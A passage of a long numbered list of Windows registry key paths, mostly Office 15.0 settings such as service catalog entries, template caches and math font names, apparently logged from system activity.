  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1554. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1555. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1556. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1622. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1695. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1717. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1718. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1719. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
